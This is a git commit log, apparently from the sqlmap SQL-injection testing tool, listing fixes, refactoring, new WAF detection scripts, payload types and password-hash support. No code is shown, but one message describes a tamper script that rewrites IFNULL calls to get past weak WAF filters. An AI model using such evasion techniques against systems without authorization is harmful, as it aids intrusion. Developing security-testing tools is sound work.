Miroslav Stampar 57be1856a6 Where things could go kaboom (changing terminal coloring) 2018-07-05 14:01:43 +02:00
Miroslav Stampar a424e4ab59 Fixes #3168 2018-07-02 13:09:25 +02:00
Miroslav Stampar 4660b816d5 Minor patch (fallback for masking of sensitive data) 2018-07-02 11:54:12 +02:00
Miroslav Stampar f92e1ebc40 Another trivial style update 2018-07-02 11:47:47 +02:00
Miroslav Stampar 48cd0421a6 Trivial style update 2018-07-02 11:41:36 +02:00
Miroslav Stampar 4b4f728d8e Updated MySQL active fingerprint payloads 2018-07-02 10:58:25 +02:00
Miroslav Stampar e8336ecfe1 Fix of a pesky often 'statistical model' retrieval 2018-06-29 23:57:20 +02:00
Miroslav Stampar 38ea0686a8 Minor patch (Issue #3149) 2018-06-29 22:48:43 +02:00
Miroslav Stampar 73b0de67b5 Fixes #3149 2018-06-29 22:37:57 +02:00
Miroslav Stampar fae97b3937 Another patch for #3164 2018-06-29 16:34:16 +02:00
Miroslav Stampar c0947846f4 Patch for #3164 2018-06-29 16:33:17 +02:00
Miroslav Stampar 5e2d0bd320 Minor patches (--purge instead of --purge-output) 2018-06-20 23:52:08 +02:00
Miroslav Stampar 4badb54607 Couple of small patches 2018-06-20 23:21:55 +02:00
Miroslav Stampar 29aaec8925 First part of checksum cleanup 2018-06-20 23:09:23 +02:00
Miroslav Stampar 27ff5d6fec Implementation of #3156 2018-06-20 23:04:58 +02:00
Miroslav Stampar 72ff6e24ff Minor wording update 2018-06-20 17:15:35 +02:00
Miroslav Stampar 717c451b8c Trivial style update 2018-06-20 15:21:42 +02:00
Miroslav Stampar e5968cae31 Fixes --profile 2018-06-20 13:51:03 +02:00
Miroslav Stampar 2b55ae3e2a Minor just in case update 2018-06-20 13:06:56 +02:00
Miroslav Stampar 8f4488d608 Minor patches related to the #739 2018-06-20 00:08:55 +02:00
Miroslav Stampar f1254fef4b Finalizes implementation for #739 2018-06-19 16:39:10 +02:00
Miroslav Stampar ccda26a567 Minor commit regarding #739 2018-06-19 16:23:17 +02:00
Miroslav Stampar 099110bc1f Minor commit regarding #739 2018-06-19 16:14:44 +02:00
Miroslav Stampar 0265b3fcfa Second commit regarding #739 2018-06-19 16:11:49 +02:00
Miroslav Stampar 961d2b24d1 First commit regarding #739 2018-06-19 16:08:38 +02:00
Miroslav Stampar 53578bcb7c Generic patch related to the #3153 2018-06-19 14:56:39 +02:00
Miroslav Stampar 756f02fb0e Fixes #3150 2018-06-15 14:22:24 +02:00
Miroslav Stampar 17c170e1f8 Fixes #3148 2018-06-13 23:51:09 +02:00
Miroslav Stampar 220c1be162 Fixes #3144 2018-06-12 23:02:38 +02:00
Miroslav Stampar 6b06332896 Fixes #3145 2018-06-12 22:45:16 +02:00
Miroslav Stampar c268663bd9 Minor code style updates 2018-06-09 23:38:00 +02:00
Miroslav Stampar a97fd1dede Fixes #3142 2018-06-09 22:59:08 +02:00
Miroslav Stampar b93284530e Patch related to the #3139 2018-06-08 15:13:50 +02:00
Miroslav Stampar cf4c263a4e Minor patch 2018-06-08 14:45:15 +02:00
Miroslav Stampar 23777143b6 Update related to the #3137 2018-06-07 10:07:12 +02:00
Miroslav Stampar 9b397f00be Minor refactoring 2018-06-07 01:28:02 +02:00
Miroslav Stampar d47c16e196 Minor refactoring 2018-06-07 00:55:32 +02:00
Miroslav Stampar e0c7b5c63c Minor wording update 2018-06-07 00:46:54 +02:00
Miroslav Stampar 091c8ab2dd Minor update (switching --invalid-logical to LIKE version) 2018-06-07 00:37:22 +02:00
Miroslav Stampar 86303bde55 Trivial update (wording) 2018-06-07 00:24:29 +02:00
Miroslav Stampar c89f119e1a Minor update 2018-06-05 01:12:50 +02:00
Miroslav Stampar 25369ca591 Adding new payload (HAVING boolean-based blind) 2018-06-05 00:59:47 +02:00
Miroslav Stampar a399b65033 Trivial update 2018-06-05 00:20:37 +02:00
Miroslav Stampar ed37ae1562 Adding new WAF script (Cloudbric) 2018-06-05 00:05:17 +02:00
Miroslav Stampar 5381d4d5be Minor update 2018-06-04 23:33:07 +02:00
Miroslav Stampar c1825b2651 Patch for #3130 2018-06-01 11:23:41 +02:00
Miroslav Stampar e7d448c56c Minor update regarding #3129 2018-06-01 10:21:59 +02:00
Miroslav Stampar 694b5bb5c0 New tamper script (per user request) 2018-05-30 15:48:16 +02:00
Miroslav Stampar eb498e6c03 Fixes #2819 2018-05-29 14:54:43 +02:00
Miroslav Stampar ca8b589d43 Fixes #3122 (by reverting 6c4e9ae427) 2018-05-29 14:26:31 +02:00
Miroslav Stampar 18706f7fad Minor patch for unhandled exception reports 2018-05-28 11:29:06 +02:00
Miroslav Stampar 80f3b9a711 Minor worflow change in case of unhandled exceptions (disregard --batch) 2018-05-28 11:10:42 +02:00
Miroslav Stampar 6b3f01bfeb Minor patch 2018-05-28 11:07:06 +02:00
Miroslav Stampar 42042fb5de Removing encoding report part (enough time has been passed to collect major problems) 2018-05-24 10:41:20 +02:00
Miroslav Stampar 2abc7fc588 Update related to the #3116 (consistency patch) 2018-05-24 10:13:13 +02:00
German 1ecc326714 Russian localization readme (#3116)
* add russian doc readme

* add link head readme
2018-05-24 10:11:09 +02:00
Miroslav Stampar d2d829abf5 Patch related to the #3117 2018-05-24 10:07:35 +02:00
Miroslav Stampar 43d9ac2bd4 Patch related to the #3101 2018-05-21 23:44:21 +02:00
Miroslav Stampar d8196cf7e6 Fixes #3110 2018-05-21 23:17:32 +02:00
Miroslav Stampar 42b0edca6d Fixes #3109 2018-05-19 12:35:39 +02:00
Miroslav Stampar 331ccc5549 Fixes #3100 2018-05-17 23:07:52 +02:00
Miroslav Stampar d5627fdf1b Fixes #3099 2018-05-15 12:15:47 +02:00
Miroslav Stampar 7b3a17bfe7 Patch for #3068 2018-05-09 13:38:39 +02:00
Miroslav Stampar 4a8f01c9dc Minor updates 2018-05-08 14:06:34 +02:00
Miroslav Stampar 13bf3e649a Trivial refactoring 2018-05-08 12:09:24 +02:00
Miroslav Stampar 9a63fb1055 Trivial refactoring 2018-05-08 11:59:56 +02:00
Miroslav Stampar 3544793961 Fixes #3088 2018-05-07 10:48:35 +02:00
Miroslav Stampar 7a8add0412 Update regarding #3068 2018-05-05 14:49:35 +02:00
Miroslav Stampar 1d382bcb4d Fixes #3086 2018-05-05 14:33:00 +02:00
Miroslav Stampar ec6ad3ce68 Bug fix (non-digit --union-char has not been working properly) 2018-05-05 14:22:06 +02:00
Miroslav Stampar 73d8952f2a Potential patch for #3084 2018-05-04 16:29:36 +02:00
Miroslav Stampar 2a810fb796 Trivial modifications (thou shalt not judge people by trivial commits) 2018-05-03 14:10:55 +02:00
Miroslav Stampar 8f7a7bed20 Minor patch 2018-05-03 13:31:27 +02:00
Miroslav Stampar 36b0ece2ad Minor message update 2018-04-30 11:02:01 +02:00
Miroslav Stampar 7d8fbab035 Fixes #3069 2018-04-26 18:56:17 +02:00
Miroslav Stampar 5580db0045 Fixes #3067 2018-04-24 19:52:12 +02:00
Miroslav Stampar 3fde205cd4 Generic patch for #2886 (cause still unknown) 2018-04-24 19:45:53 +02:00
Miroslav Stampar 1822cc05f6 Patch for #3060 2018-04-22 01:12:56 +02:00
Miroslav Stampar 509bb41b06 Adding (hidden) switch '--force-pivoting' (Issue #3032) 2018-04-17 17:08:57 +02:00
Miroslav Stampar 8ca3287df4 Proper way to skip already used payloads (important to --suffix/--prefix cases) 2018-04-12 14:38:32 +02:00
Miroslav Stampar 60767de2eb Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases) 2018-04-12 12:25:37 +02:00
Miroslav Stampar 29e683fb5b Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors) 2018-04-12 11:33:23 +02:00
Miroslav Stampar 148d1c9ff9 Fixes #3037 2018-04-11 15:19:44 +02:00
Miroslav Stampar a8cb14ed4a Minor patch (disable tamper script usage in WAF/IDS/IPS check phase) 2018-04-11 14:48:54 +02:00
Miroslav Stampar c634f0b0d6 Patch related to the #3041 2018-04-11 13:14:09 +02:00
Miroslav Stampar 8605c49911 Update related to the #3039 2018-04-11 13:06:47 +02:00
Miroslav Stampar 44f6951dfe Update of xml/banner files 2018-04-10 11:35:39 +02:00
Miroslav Stampar b5b32c951c Minor update 2018-04-10 11:03:08 +02:00
Miroslav Stampar a9c3b59cff Update related to the #2999 2018-04-09 12:14:46 +02:00
Miroslav Stampar 4528cb014d Minor just in case patch 2018-04-09 12:05:08 +02:00
Miroslav Stampar 2c5f976993 Fixes #3035 2018-04-09 11:34:50 +02:00
Miroslav Stampar 4f2669a45a Fixes #3030 2018-04-06 01:13:04 +02:00
Miroslav Stampar 641838ed73 Minor update 2018-04-06 01:06:58 +02:00
Miroslav Stampar 2a681b7bd6 Fixes #3027 2018-04-05 12:25:41 +02:00
Miroslav Stampar 7f3f1dcdee Fixes #3022 2018-04-03 12:50:09 +02:00
Miroslav Stampar 4147f44e63 Potential patch for Issues like #3013 and #3017 2018-04-01 12:45:47 +02:00
Miroslav Stampar 2cc6214227 Fixes #3020 2018-04-01 11:25:51 +02:00
Miroslav Stampar 8a90512354 One more commit related to the last one (reduce false hopes in heavily dynamic cases) 2018-03-31 11:02:48 +02:00
Miroslav Stampar ae8699f258 Reducing false-positive 'appears' messages in heavily dynamic environment 2018-03-29 14:47:30 +02:00
Miroslav Stampar cdb1e79370 Disabling ORDER BY tests in heavily dynamic environment 2018-03-29 14:37:33 +02:00
Miroslav Stampar f0677d88b7 Trivial update 2018-03-29 14:22:46 +02:00
Miroslav Stampar 16cd13d7db Fixes #3014 2018-03-28 17:24:12 +02:00
Miroslav Stampar c7329cb03b Probable patch for #3013 and similar Issues 2018-03-28 15:23:14 +02:00
Miroslav Stampar 45fb5ab4a5 Patch for cases when http: is immediatelly being redirected to https: 2018-03-28 15:13:33 +02:00
Miroslav Stampar 241f7321de Proper patch related to the #3009 2018-03-26 15:39:48 +02:00
Miroslav Stampar c6c1ac02bb Patch related to the #3009 2018-03-26 15:07:43 +02:00
Miroslav Stampar f287ff3767 Trivial comment update 2018-03-21 14:29:54 +01:00
Miroslav Stampar 7d5a0ed2dc Use false-positive checks in dummy mode 2018-03-21 14:22:59 +01:00
Miroslav Stampar 4fc7fc6447 Patch for an Issue #2943 2018-03-20 11:32:31 +01:00
Miroslav Stampar 880d709bfd Removing checkIntegrity() from smokeTest() (primarly used before commiting) 2018-03-20 10:32:47 +01:00
Miroslav Stampar 0ddc7bae66 Fixes #2997 2018-03-20 10:31:31 +01:00
Miroslav Stampar 305b2aa9b5 Minor update for smoke test 2018-03-19 01:02:28 +01:00
Miroslav Stampar e63b97afd6 Refactoring #2992 2018-03-19 00:53:16 +01:00
Arjun V c378b6691c Adding sample schemas shipped with Oracle DB (#2992)
* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm
2018-03-19 00:51:00 +01:00
Miroslav Stampar ee431cd83b Minor update 2018-03-19 00:39:48 +01:00
Miroslav Stampar e088fe08ec Update related to the #2995 2018-03-19 00:33:30 +01:00
Miroslav Stampar 74de40b9c5 Minor patch of a previous commit 2018-03-16 15:21:19 +01:00
Miroslav Stampar 6c2b7cff80 Minor patch of UNION checking logic 2018-03-16 15:11:04 +01:00
Miroslav Stampar a6809e03ef Minor just in case patch 2018-03-16 14:38:47 +01:00
Miroslav Stampar ac68eed65d Trivial code style update 2018-03-16 14:33:22 +01:00
Miroslav Stampar a27f21cb1d Trivial message updates 2018-03-16 14:30:47 +01:00
Miroslav Stampar 01fb07f68c Minor patch (message for --check-internet) 2018-03-16 14:28:37 +01:00
Miroslav Stampar d7f2445814 Minor patch of error message parsing regex 2018-03-16 14:25:27 +01:00
Miroslav Stampar 6875c40a06 Minor update of permission problems detection 2018-03-16 14:20:43 +01:00
Miroslav Stampar 4cd859012a Switching zipball update method to experimental 2018-03-15 11:07:14 +01:00
Miroslav Stampar 5feb4c3ccd Updated --update mechanism (fetching and extraction of zipball) 2018-03-14 13:36:10 +01:00
Miroslav Stampar 3c5e9e7559 Fixes #2982 2018-03-14 01:02:26 +01:00
Miroslav Stampar 909a3456e3 Potential fix for #2980 2018-03-13 14:40:32 +01:00
Miroslav Stampar fa4c1c5251 Some more PEPing (I hope that I haven't broke anything) 2018-03-13 13:45:42 +01:00
Miroslav Stampar 8166a4eeb8 Minor PEPing 2018-03-13 11:25:26 +01:00
Miroslav Stampar ae2b02952f Dealing with deprecated raises 2018-03-13 11:13:38 +01:00
Miroslav Stampar 1d9c11b1c1 Minor update of Travis config 2018-03-13 11:03:05 +01:00
Miroslav Stampar 99894dc3c1 Minor update (git/https repo address consistency) 2018-03-13 10:37:13 +01:00
Miroslav Stampar 0c4b6c9978 Fixes #2974 2018-03-12 11:37:48 +01:00
Miroslav Stampar cd88caa0e7 Fixes #2977 2018-03-11 03:34:31 +01:00
Miroslav Stampar c024233f88 Minor patch 2018-03-11 03:28:19 +01:00
Miroslav Stampar 5380e8174b Safer WAF heuristics in case of URI injections 2018-03-11 03:20:33 +01:00
Miroslav Stampar 4cefff7e98 Bug fix (misencoding inside check waf payload) 2018-03-11 03:13:33 +01:00
Miroslav Stampar 11b52c85e1 Patch of bug introduced with 76905e8728 2018-03-11 02:46:37 +01:00
Miroslav Stampar 24cefeaee2 Minor notification update 2018-03-11 02:20:22 +01:00
Miroslav Stampar 9ad32864ec Fixes #2973 2018-03-11 02:15:17 +01:00
Miroslav Stampar 190e8ae5fa Bug fix (UNION SQLi with --no-escape) 2018-03-08 17:44:15 +01:00
Miroslav Stampar 43044d8512 Added new compiled 64-bit version (Issue #2965) 2018-03-08 13:33:49 +01:00
Miroslav Stampar 881b49afd2 Fixes #2969 2018-03-08 01:21:34 +01:00
Miroslav Stampar 93b425809e With latest NULL checks (Issue #2965) 2018-03-07 16:04:35 +01:00
Miroslav Stampar 4f2f31af67 Compiled 32-bit version for #2965 2018-03-07 15:43:42 +01:00
Miroslav Stampar f95d0c831b Minor refactoring (already default mode in os.makedirs) 2018-03-07 14:34:38 +01:00
Miroslav Stampar 76905e8728 Patch related to the #2953 2018-03-05 10:53:24 +01:00
Miroslav Stampar 8d6cc4ae2c Fixes #2959 2018-03-03 00:50:47 +01:00
Miroslav Stampar a369f61207 Fixes #2956 2018-03-03 00:27:21 +01:00
Miroslav Stampar 34d2fb1c8f Fixes #2957 2018-03-03 00:01:26 +01:00
Miroslav Stampar ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar 6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar 9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar 93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar 67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar 24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar 5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar 8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar 365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar 56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar 5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar 061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar 62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar 9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar 10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar 0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar 31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar 30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar 02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar 4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar 4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar 94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar 18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar 439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
Miroslav Stampar 165b275fd7 Update of version 2018-01-02 01:05:01 +01:00
Miroslav Stampar 811bd0e89f Updating version string for fresh tag 2018-01-02 00:55:08 +01:00
Miroslav Stampar 47bbcf90ea More updates of copyright years 2018-01-02 00:50:07 +01:00
Miroslav Stampar 8a122401aa Update of copyright years 2018-01-02 00:48:10 +01:00
Miroslav Stampar ddc453e3da Update of minor revision 2018-01-02 00:44:40 +01:00
Miroslav Stampar 764d114b3c Fixes #2858 2018-01-02 00:42:20 +01:00
Miroslav Stampar 6e9fe27fa0 Minor patch related to the #2856 2017-12-30 16:35:45 +01:00
Miroslav Stampar 132fb0d18d Another just in case patch for #2852 2017-12-30 16:25:19 +01:00
Miroslav Stampar 84b7a26bfd Minor patch for #2852 2017-12-29 13:52:15 +01:00
Miroslav Stampar 66c1f72a16 Minor optimization 2017-12-29 13:04:52 +01:00
Miroslav Stampar b6584c8043 Fixes #2853 2017-12-28 13:25:26 +01:00
Miroslav Stampar 78ac42c168 Minor refactoring 2017-12-28 12:56:30 +01:00
Miroslav Stampar 009f13742e Dirty patch for safe-encoded unicode characters 2017-12-27 12:23:35 +01:00
Miroslav Stampar 1df0461893 Guessing patch for #2837 (as of lack of user data) 2017-12-25 00:18:06 +01:00
Miroslav Stampar bc1fbc5a58 Potential patch for #2847 2017-12-24 23:54:43 +01:00
Miroslav Stampar cad6cfe6a6 Fixes #2843 2017-12-24 04:03:32 +01:00
Miroslav Stampar 7ade3aa1ad Fixes #2841 2017-12-22 01:25:03 +01:00
Miroslav Stampar 0b24a80387 Patch related to the --hex and --technique=E (potential patch for #2837) 2017-12-20 14:51:15 +01:00
Miroslav Stampar 574074e171 Another patch for #2827 2017-12-14 15:45:14 +01:00
Miroslav Stampar f2f7994ac6 Minor improvement of generic WAF script 2017-12-13 15:31:35 +01:00
Miroslav Stampar 42ddfd8f50 Minor bug fix 2017-12-13 15:12:03 +01:00
Miroslav Stampar 2d4391dc36 Adding new WAF script (F5 ASM) 2017-12-13 15:10:15 +01:00
Miroslav Stampar 5326df1071 Minor grammar fix 2017-12-13 13:49:55 +01:00
Miroslav Stampar 9a2cdd4b59 Potential patch for #2826 2017-12-13 13:22:42 +01:00
Miroslav Stampar acd764fee8 Fixes #2828 2017-12-13 10:46:46 +01:00
Miroslav Stampar 310a82933c Patch for #2827 2017-12-13 10:22:25 +01:00
Miroslav Stampar b1662f54c8 Revisiting some of links 2017-12-12 13:39:58 +01:00
Miroslav Stampar 8cef17b583 Minor just in case patch (error set in case of --string) 2017-12-12 11:18:17 +01:00
Miroslav Stampar cb1b5d30fd Minor refactoring 2017-12-12 10:48:19 +01:00
Miroslav Stampar 5d6b972002 Switching Informix dump from regular to pivotdumptable 2017-12-11 14:49:30 +01:00
Miroslav Stampar 57044262d9 Minor patch for pivotdump 2017-12-11 14:15:11 +01:00
Miroslav Stampar 8d19c3bd46 Proper patch related to the dde1178100 2017-12-11 13:01:37 +01:00
Miroslav Stampar b9efdb2999 Fixes #2824 2017-12-11 11:26:09 +01:00
Miroslav Stampar dde1178100 Fixes (old) Informix escaping 2017-12-11 10:44:47 +01:00
Miroslav Stampar 638dbf255a Fixes #2818 2017-12-06 13:42:15 +01:00
Miroslav Stampar a90b5f7fb3 Fixes #2766 2017-12-05 11:33:30 +01:00
Miroslav Stampar 06ca058300 Fixes #2812 2017-12-04 15:40:59 +01:00
Miroslav Stampar 370884d07a Fixes #2811 2017-12-04 14:59:05 +01:00
Miroslav Stampar 91bffe988b Minor patch 2017-12-04 14:22:51 +01:00
Miroslav Stampar 220dffbcfa Couple of wording updates 2017-12-04 13:59:35 +01:00
Miroslav Stampar 9fab2c9764 Minor refactoring 2017-12-04 13:41:02 +01:00
Miroslav Stampar 7244e8e4e2 Minor patches 2017-12-04 13:24:51 +01:00
Miroslav Stampar e7268ffb4d Fixes #2809 2017-12-01 10:32:44 +01:00
Miroslav Stampar 7c5b051d60 Fixes #2808 2017-11-29 15:59:00 +01:00
Miroslav Stampar 5899fd5ef2 Update related to the #2806 2017-11-27 22:24:44 +01:00
Miroslav Stampar f60727a891 Minor update of sitelock.py 2017-11-26 12:11:09 +01:00
Miroslav Stampar 792ed52ab5 New WAF scripts 2017-11-26 12:06:23 +01:00
Miroslav Stampar 132a72c9bd Minor update of logging messages 2017-11-24 12:20:57 +01:00
Miroslav Stampar 8735a49f63 Some more refactoring 2017-11-24 11:49:31 +01:00
Miroslav Stampar b9e2e8b74d Minor refactoring 2017-11-24 11:44:14 +01:00
Miroslav Stampar b23626db70 Minor update 2017-11-24 11:36:27 +01:00
Miroslav Stampar 33d8ce8923 Minor patches 2017-11-24 10:54:03 +01:00
Miroslav Stampar 72f7caa23b Minor refactoring 2017-11-24 10:38:29 +01:00
Miroslav Stampar 284bdac72c Minor patch 2017-11-22 16:17:14 +01:00
Miroslav Stampar 7d6a3c4034 Refactoring shell files 2017-11-22 15:59:29 +01:00
Miroslav Stampar 02274f6db1 Minor patch (smoke test failed) 2017-11-22 13:31:44 +01:00
Miroslav Stampar bf8b2eb21e Minor update regarding #2791 2017-11-22 13:29:39 +01:00
Vitaly Salnikov 1436333960 Add new tamper script witch can Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END', it could be usefull for bypass some weak WAFs that filter the 'IFNULL' and 'IF' functions (#2791) 2017-11-22 13:27:49 +01:00
Miroslav Stampar d7677f322d Fixes #2793 2017-11-22 13:07:04 +01:00
Miroslav Stampar ab641e9242 Minor improvement for sonicwall WAF script 2017-11-21 09:23:16 +01:00
Miroslav Stampar ec83837342 Fixes #2786 2017-11-19 02:51:29 +01:00
Miroslav Stampar 2333903b68 Fixes #2785 2017-11-19 02:16:52 +01:00
Miroslav Stampar d54ec88648 Adding compression to BigArray mechanism (to save disk space on big dumps) 2017-11-17 11:45:02 +01:00
Houziaux Mike f210d66dff fix wording to french documentation (#2782) 2017-11-17 09:39:48 +01:00
Miroslav Stampar a651c8a637 Fixes #2779 2017-11-15 10:36:32 +01:00
Miroslav Stampar b608c21dff Fixes #2778 2017-11-15 09:51:20 +01:00
Miroslav Stampar 88df293a1a Better approach as @cachedmethod got improved 2017-11-13 22:53:22 +01:00
Miroslav Stampar 323f1285b6 Fixes #2774 2017-11-13 14:07:12 +01:00
Miroslav Stampar 26b81f58bb Fixes #2772 2017-11-13 11:19:25 +01:00
Miroslav Stampar 839070d6ee Minor refactoring 2017-11-10 13:03:24 +01:00
Miroslav Stampar 28ee12c4d2 Adding delayed imports 2017-11-10 12:34:54 +01:00
Miroslav Stampar bc61a6828c Quick patch for #2770 2017-11-10 10:45:20 +01:00
Miroslav Stampar e9380627e1 Better one for Issue #2769 2017-11-10 00:44:33 +01:00
Miroslav Stampar e80e841b25 Update related to the Issue #2769 2017-11-10 00:41:03 +01:00
Miroslav Stampar 4102d87521 Better SELECT_FROM_TABLE_REGEX regex 2017-11-09 13:56:01 +01:00
Miroslav Stampar 67b470245e Minor cleanup of NULL connection 2017-11-09 13:45:52 +01:00
Miroslav Stampar d148694a4b Minor refactoring 2017-11-09 12:24:58 +01:00
Miroslav Stampar 9404b63a42 Some memory improvements of @cachedmethod 2017-11-09 12:24:11 +01:00
Miroslav Stampar 58b87e4b6b Some more refactoring 2017-11-08 15:58:23 +01:00
Miroslav Stampar 5c35aff22a Minor refactoring 2017-11-08 15:47:12 +01:00
Miroslav Stampar 18d78a34cc Removing unused methods 2017-11-06 13:53:35 +01:00
Thomas f9e80adcef Minor update to Sucuri WAF script (#2761) 2017-11-06 13:09:24 +01:00
Miroslav Stampar e5f96102af Fixes #2763 2017-11-06 10:53:50 +01:00
Miroslav Stampar d9bf33ea1d Minor beauty patch 2017-11-06 10:36:17 +01:00
Miroslav Stampar 0d1ea50785 Fixes #2762 2017-11-06 10:00:29 +01:00
Miroslav Stampar cc37b12d37 Minor update 2017-11-02 14:31:16 +01:00
Miroslav Stampar c671acb62e Minor patch of normalizePath() 2017-11-02 13:09:31 +01:00
Miroslav Stampar cdd0e6f0ac Minor patch 2017-11-02 13:02:38 +01:00
Miroslav Stampar ce8d0befd0 Fixes #2755 2017-11-02 11:49:36 +01:00
Miroslav Stampar 14676bdffb Switching proxies when Google detects unusual traffic 2017-11-01 10:35:01 +01:00
Miroslav Stampar 01d24cbb42 Minor adjustment of logging messages 2017-10-31 11:48:17 +01:00
Miroslav Stampar 9c3c9a9315 Minor bug fix 2017-10-31 11:39:12 +01:00
Miroslav Stampar 66d37112d1 If it works, don't touch. I touched 2017-10-31 11:38:09 +01:00
Miroslav Stampar 6bf84151e4 Silent bug fix (.encode() is not safe for base64 encoding because of whitespaces) 2017-10-31 11:07:28 +01:00
Miroslav Stampar 22907d5085 Some more trivial refactoring 2017-10-31 11:05:25 +01:00
Miroslav Stampar b1a898662d Some more trivial refactoring 2017-10-31 10:27:58 +01:00
Miroslav Stampar 496075ef20 Trivial refactoring 2017-10-31 10:10:22 +01:00
Miroslav Stampar ac2359f8df Patch of potential silent bug (digits charset) 2017-10-31 10:03:23 +01:00
Miroslav Stampar ff5bdbefe8 Minor refactoring 2017-10-31 09:55:14 +01:00
Miroslav Stampar 190cf4b14d Minor patch (missing scheme case) 2017-10-31 09:51:07 +01:00
Miroslav Stampar 9df514cf41 Whitespace removal from varnish WAF script 2017-10-30 13:16:30 +01:00
Miroslav Stampar f7cde3099b Adding WAF script for DOSarrest 2017-10-30 12:53:34 +01:00
Miroslav Stampar 668d86df9f Adding WAF script for Wordfence 2017-10-30 12:48:05 +01:00
Miroslav Stampar 915d4bf900 Minor update of paloalto.py (Issue #2749) 2017-10-29 23:39:32 +01:00
Miroslav Stampar 8d7796f41c Trivial refactoring 2017-10-28 23:27:19 +02:00
Miroslav Stampar 5497a6e58d Adding support for Base64 format of md5, sha1, sha256 and sha512 hashes (Issue #1881) 2017-10-28 22:40:55 +02:00
Miroslav Stampar 9ae713bcec Adding support for DJANGO_MD5 and DJANGO_SHA1 (Issue #1881) 2017-10-20 13:56:47 +02:00
Miroslav Stampar 7c874350d2 Adding support for SSHA, SSHA256 and SSHA512 (Issue #1881) 2017-10-20 13:32:40 +02:00
Miroslav Stampar 311444a4ac Update related to the #2677 2017-10-20 10:00:26 +02:00
Miroslav Stampar 4e611133c6 Fixes #2747 2017-10-17 16:34:09 +02:00
Miroslav Stampar 5f25a77eab Adding support for vBulletin password hashes (Issue #1881) 2017-10-17 11:21:03 +02:00
Miroslav Stampar ae3c013054 Minor update 2017-10-17 10:38:33 +02:00
Miroslav Stampar 7b0f1fd7fc Couple of patches and implementation for SHA256 (Issue #1881) 2017-10-16 15:15:44 +02:00
Miroslav Stampar 1f60dfc835 Minor patch for WAF mechanism 2017-10-16 11:42:11 +02:00
Miroslav Stampar 94579aa80d Minor patch (salt should be 32 bytes in length) 2017-10-13 15:53:45 +02:00
Miroslav Stampar 0f4d202db4 Implemented support for Joomla passwd (Issue #1881) 2017-10-13 15:37:16 +02:00
Miroslav Stampar a1dd7363d4 Implemented support for Apache SHA1 (Issue #1881) 2017-10-13 15:19:50 +02:00
